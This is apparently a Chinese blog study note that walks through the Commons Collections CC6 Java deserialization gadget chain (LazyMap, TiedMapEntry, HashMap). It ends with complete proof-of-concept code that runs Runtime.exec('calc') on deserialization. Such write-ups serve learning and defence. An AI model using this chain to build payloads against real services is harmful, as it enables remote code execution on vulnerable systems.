cc6链

TiedMapEntry

第一步

与cc1一样前面执行代码部分不变

  Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

然后我们看LazyMap get源码

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

第二步

这个时候我们要找地方调用get:tiedmapentry

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}
public Object getValue() {
    return map.get(key);
}

Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
    tiedMapEntry.getValue();

第三步

因为 getValue() 这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。

寻找到同名函数下的 hashCode() 方法调用了 getValue() 方法。

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

第四步

我们去找谁调用了hashCode() 方法

在 Java 反序列化当中,找到 hashCode() 之后的链子用的基本都是这一条。

xxx.readObject()
  HashMap.put() --自动调用-->   HashMap.hash()
	后续利用链.hashCode()

put函数

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

hash函数

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

执行代码

    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    HashMap<Object, Object> hashMap = new HashMap<>();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
    HashMap<Object, Object> expMap = new HashMap<>();
    expMap.put(tiedMapEntry, "value");

第五步

因为上面的代码不用等到序列化反序列化就执行了,所以我们要对其中一个参数进行修改,导致他到其中一步就不会执行,然后等所有值都给完了之后通过反射进行修改,接着进行序列化就能执行了

Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

上面这个变成

Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

这样他在第一时间就不能被执行了

       Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<Object,Object>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");

解析其中一部分代码

1.Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

这个代码的意思是假如传入的key不存在那么他的value就是1,比如
map.put("key1", 100); map.put("key2", 200);
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
Object value1 = lazyMap.get("key1"); // 从原始 map 获取,返回 100
Object value2 = lazyMap.get("key3"); // 不存在于原始 map,返回 ConstantTransformer 中的常量值 1

2.TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

这个代码就是传入map为lazymap,然后找key为aaa的,没有就是让他的value为1

下一步就是删掉键值为aaa的然后把键值为chainTransform的传入,因为他前面已经把put那些搞好了,修改值然后进行序列化就可以触发了,而不是在前面put就直接触发

        map.remove("aaa");
        Class c = LazyMap.class;
        Field fieldfactory = c.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize("ser.bin");

全部代码

       Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<Object,Object>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        map.remove("aaa");
        Class c = LazyMap.class;
        Field fieldfactory = c.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize("ser.bin");
posted @ 2024-07-20 02:51  毛利_小五郎  阅读(2)  评论(0编辑  收藏  举报